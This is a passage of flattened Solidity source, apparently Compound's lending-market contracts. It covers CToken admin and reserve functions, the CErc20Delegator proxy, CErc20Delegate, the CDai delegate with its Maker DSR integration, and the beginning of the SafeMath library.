FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK); } ComptrollerInterface oldComptroller = comptroller; // Ensure invoke comptroller.isComptroller() returns true require(newComptroller.isComptroller(), "marker method returned false"); // Set market's comptroller to newComptroller comptroller = newComptroller; // Emit NewComptroller(oldComptroller, newComptroller) emit NewComptroller(oldComptroller, newComptroller); return uint(Error.NO_ERROR); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed. return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED); } // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to. return _setReserveFactorFresh(newReserveFactorMantissa); } /** * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual) * @dev Admin function to set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK); } // Verify market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK); } // Check newReserveFactor ≤ maxReserveFactor if (newReserveFactorMantissa > reserveFactorMaxMantissa) { return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK); } uint oldReserveFactorMantissa = reserveFactorMantissa; reserveFactorMantissa = newReserveFactorMantissa; emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Accrues interest and reduces reserves by transferring from msg.sender * @param addAmount Amount of addition to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED); } // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to. (error, ) = _addReservesFresh(addAmount); return error; } /** * @notice Add reserves by transferring from caller * @dev Requires fresh interest accrual * @param addAmount Amount of addition to reserves * @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees */ function _addReservesFresh(uint addAmount) internal returns (uint, uint) { // totalReserves + actualAddAmount uint totalReservesNew; uint actualAddAmount; // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the caller and the addAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional addAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ actualAddAmount = doTransferIn(msg.sender, addAmount); totalReservesNew = totalReserves + actualAddAmount; /* Revert on overflow */ require(totalReservesNew >= totalReserves, "add reserves unexpected overflow"); // Store reserves[n+1] = reserves[n] + actualAddAmount totalReserves = totalReservesNew; /* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */ emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew); /* Return (NO_ERROR, actualAddAmount) */ return (uint(Error.NO_ERROR), actualAddAmount); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED); } // _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to. return _reduceReservesFresh(reduceAmount); } /** * @notice Reduces reserves by transferring to admin * @dev Requires fresh interest accrual * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReservesFresh(uint reduceAmount) internal returns (uint) { // totalReserves - reduceAmount uint totalReservesNew; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK); } // Fail gracefully if protocol has insufficient underlying cash if (getCashPrior() < reduceAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE); } // Check reduceAmount ≤ reserves[n] (totalReserves) if (reduceAmount > totalReserves) { return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) totalReservesNew = totalReserves - reduceAmount; // We checked reduceAmount <= totalReserves above, so this should never revert. require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow"); // Store reserves[n+1] = reserves[n] - reduceAmount totalReserves = totalReservesNew; // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. doTransferOut(admin, reduceAmount); emit ReservesReduced(admin, reduceAmount, totalReservesNew); return uint(Error.NO_ERROR); } /** * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED); } // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. return _setInterestRateModelFresh(newInterestRateModel); } /** * @notice updates the interest rate model (*requires fresh interest accrual) * @dev Admin function to update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) { // Used to store old model for use in the event that is emitted on success InterestRateModel oldInterestRateModel; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK); } // Track the market's current interest rate model oldInterestRateModel = interestRateModel; // Ensure invoke newInterestRateModel.isInterestRateModel() returns true require(newInterestRateModel.isInterestRateModel(), "marker method returned false"); // Set the interest rate model to newInterestRateModel interestRateModel = newInterestRateModel; // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel) emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel); return uint(Error.NO_ERROR); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying owned by this contract */ function getCashPrior() internal view returns (uint); /** * @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee. * This may revert due to insufficient balance or insufficient allowance. */ function doTransferIn(address from, uint amount) internal returns (uint); /** * @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting. * If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract. * If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions. */ function doTransferOut(address payable to, uint amount) internal; /*** Reentrancy Guard ***/ /** * @dev Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } } pragma solidity ^0.5.16; import "./CTokenInterfaces.sol"; /** * @title Compound's CErc20Delegator Contract * @notice CTokens which wrap an EIP-20 underlying and delegate to an implementation * @author Compound */ contract CErc20Delegator is CTokenInterface, CErc20Interface, CDelegatorInterface { /** * @notice Construct a new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token * @param implementation_ The address of the implementation the contract delegates to * @param becomeImplementationData The encoded args for becomeImplementation */ constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_, address implementation_, bytes memory becomeImplementationData) public { // Creator of the contract is admin during initialization admin = msg.sender; // First delegate gets to initialize the delegator (i.e. storage contract) delegateTo(implementation_, abi.encodeWithSignature("initialize(address,address,address,uint256,string,string,uint8)", underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_)); // New implementations always get set via the settor (post-initialize) _setImplementation(implementation_, false, becomeImplementationData); // Set the proper admin now that initialization is done admin = admin_; } /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public { require(msg.sender == admin, "CErc20Delegator::_setImplementation: Caller must be admin"); if (allowResign) { delegateToImplementation(abi.encodeWithSignature("_resignImplementation()")); } address oldImplementation = implementation; implementation = implementation_; delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData)); emit NewImplementation(oldImplementation, implementation); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount) external returns (uint) { mintAmount; // Shh delegateAndReturn(); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { redeemTokens; // Shh delegateAndReturn(); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { redeemAmount; // Shh delegateAndReturn(); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { borrowAmount; // Shh delegateAndReturn(); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external returns (uint) { repayAmount; // Shh delegateAndReturn(); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) { borrower; repayAmount; // Shh delegateAndReturn(); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint) { borrower; repayAmount; cTokenCollateral; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { dst; amount; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool) { src; dst; amount; // Shh delegateAndReturn(); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { spender; amount; // Shh delegateAndReturn(); } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint) { owner; spender; // Shh delegateToViewAndReturn(); } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint) { owner; // Shh delegateToViewAndReturn(); } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { owner; // Shh delegateAndReturn(); } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { account; // Shh delegateToViewAndReturn(); } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external returns (uint) { delegateAndReturn(); } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external returns (uint) { account; // Shh delegateAndReturn(); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { account; // Shh delegateToViewAndReturn(); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public returns (uint) { delegateAndReturn(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { delegateToViewAndReturn(); } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Applies accrued interest to total borrows and reserves. * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { delegateAndReturn(); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint) { liquidator; borrower; seizeTokens; // Shh delegateAndReturn(); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { newPendingAdmin; // Shh delegateAndReturn(); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) { newComptroller; // Shh delegateAndReturn(); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint) { newReserveFactorMantissa; // Shh delegateAndReturn(); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { delegateAndReturn(); } /** * @notice Accrues interest and adds reserves by transferring from admin * @param addAmount Amount of reserves to add * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external returns (uint) { addAmount; // Shh delegateAndReturn(); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external returns (uint) { reduceAmount; // Shh delegateAndReturn(); } /** * @notice Accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { newInterestRateModel; // Shh delegateAndReturn(); } /** * @notice Internal method to delegate execution to another contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param callee The contract to delegatecall * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateTo(address callee, bytes memory data) internal returns (bytes memory) { (bool success, bytes memory returnData) = callee.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { return delegateTo(implementation, data); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } function delegateToViewAndReturn() private view returns (bytes memory) { (bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data)); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(add(free_mem_ptr, 0x40), returndatasize) } } } function delegateAndReturn() private returns (bytes memory) { (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts */ function () external payable { require(msg.value == 0,"CErc20Delegator:fallback: cannot send value to fallback"); // delegate all other functions to current implementation delegateAndReturn(); } } pragma solidity ^0.5.16; import "./CErc20.sol"; /** * @title Compound's CErc20Delegate Contract * @notice CTokens which wrap an EIP-20 underlying and are delegated to * @author Compound */ contract CErc20Delegate is CErc20, CDelegateInterface { /** * @notice Construct an empty delegate */ constructor() public {} /** * @notice Called by the delegator on a delegate to initialize it for duty * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public { // Shh -- currently unused data; // Shh -- we don't ever want this hook to be marked pure if (false) { implementation = address(0); } require(msg.sender == admin, "only the admin may call _becomeImplementation"); } /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public { // Shh -- we don't ever want this hook to be marked pure if (false) { implementation = address(0); } require(msg.sender == admin, "only the admin may call _resignImplementation"); } } pragma solidity ^0.5.16; import "./CErc20Delegate.sol"; /** * @title Compound's CDai Contract * @notice CToken which wraps Multi-Collateral DAI * @author Compound */ contract CDaiDelegate is CErc20Delegate { /** * @notice DAI adapter address */ address public daiJoinAddress; /** * @notice DAI Savings Rate (DSR) pot address */ address public potAddress; /** * @notice DAI vat address */ address public vatAddress; /** * @notice Delegate interface to become the implementation * @param data The encoded arguments for becoming */ function _becomeImplementation(bytes memory data) public { require(msg.sender == admin, "only the admin may initialize the implementation"); (address daiJoinAddress_, address potAddress_) = abi.decode(data, (address, address)); return _becomeImplementation(daiJoinAddress_, potAddress_); } /** * @notice Explicit interface to become the implementation * @param daiJoinAddress_ DAI adapter address * @param potAddress_ DAI Savings Rate (DSR) pot address */ function _becomeImplementation(address daiJoinAddress_, address potAddress_) internal { // Get dai and vat and sanity check the underlying DaiJoinLike daiJoin = DaiJoinLike(daiJoinAddress_); PotLike pot = PotLike(potAddress_); GemLike dai = daiJoin.dai(); VatLike vat = daiJoin.vat(); require(address(dai) == underlying, "DAI must be the same as underlying"); // Remember the relevant addresses daiJoinAddress = daiJoinAddress_; potAddress = potAddress_; vatAddress = address(vat); // Approve moving our DAI into the vat through daiJoin dai.approve(daiJoinAddress, uint(-1)); // Approve the pot to transfer our funds within the vat vat.hope(potAddress); vat.hope(daiJoinAddress); // Accumulate DSR interest -- must do this in order to doTransferIn pot.drip(); // Transfer all cash in (doTransferIn does this regardless of amount) doTransferIn(address(this), 0); } /** * @notice Delegate interface to resign the implementation */ function _resignImplementation() public { require(msg.sender == admin, "only the admin may abandon the implementation"); // Transfer all cash out of the DSR - note that this relies on self-transfer DaiJoinLike daiJoin = DaiJoinLike(daiJoinAddress); PotLike pot = PotLike(potAddress); VatLike vat = VatLike(vatAddress); // Accumulate interest pot.drip(); // Calculate the total amount in the pot, and move it out uint pie = pot.pie(address(this)); pot.exit(pie); // Checks the actual balance of DAI in the vat after the pot exit uint bal = vat.dai(address(this)); // Remove our whole balance daiJoin.exit(address(this), bal / RAY); } /*** CToken Overrides ***/ /** * @notice Accrues DSR then applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { // Accumulate DSR interest PotLike(potAddress).drip(); // Accumulate CToken interest return super.accrueInterest(); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying tokens owned by this contract */ function getCashPrior() internal view returns (uint) { PotLike pot = PotLike(potAddress); uint pie = pot.pie(address(this)); return mul(pot.chi(), pie) / RAY; } /** * @notice Transfer the underlying to this contract and sweep into DSR pot * @param from Address to transfer funds from * @param amount Amount of underlying to transfer * @return The actual amount that is transferred */ function doTransferIn(address from, uint amount) internal returns (uint) { // Perform the EIP-20 transfer in EIP20Interface token = EIP20Interface(underlying); require(token.transferFrom(from, address(this), amount), "unexpected EIP-20 transfer in return"); DaiJoinLike daiJoin = DaiJoinLike(daiJoinAddress); GemLike dai = GemLike(underlying); PotLike pot = PotLike(potAddress); VatLike vat = VatLike(vatAddress); // Convert all our DAI to internal DAI in the vat daiJoin.join(address(this), dai.balanceOf(address(this))); // Checks the actual balance of DAI in the vat after the join uint bal = vat.dai(address(this)); // Calculate the percentage increase to th pot for the entire vat, and move it in // Note: We may leave a tiny bit of DAI in the vat...but we do the whole thing every time uint pie = bal / pot.chi(); pot.join(pie); return amount; } /** * @notice Transfer the underlying from this contract, after sweeping out of DSR pot * @param to Address to transfer funds to * @param amount Amount of underlying to transfer */ function doTransferOut(address payable to, uint amount) internal { DaiJoinLike daiJoin = DaiJoinLike(daiJoinAddress); PotLike pot = PotLike(potAddress); // Calculate the percentage decrease from the pot, and move that much out // Note: Use a slightly larger pie size to ensure that we get at least amount in the vat uint pie = add(mul(amount, RAY) / pot.chi(), 1); pot.exit(pie); daiJoin.exit(to, amount); } /*** Maker Internals ***/ uint256 constant RAY = 10 ** 27; function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "add-overflow"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "mul-overflow"); } } /*** Maker Interfaces ***/ interface PotLike { function chi() external view returns (uint); function pie(address) external view returns (uint); function drip() external returns (uint); function join(uint) external; function exit(uint) external; } interface GemLike { function approve(address, uint) external; function balanceOf(address) external view returns (uint); function transferFrom(address, address, uint) external returns (bool); } interface VatLike { function dai(address) external view returns (uint); function hope(address) external; } interface DaiJoinLike { function vat() external returns (VatLike); function dai() external returns (GemLike); function join(address, uint) external payable; function exit(address, uint) external; } pragma solidity ^0.5.16; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 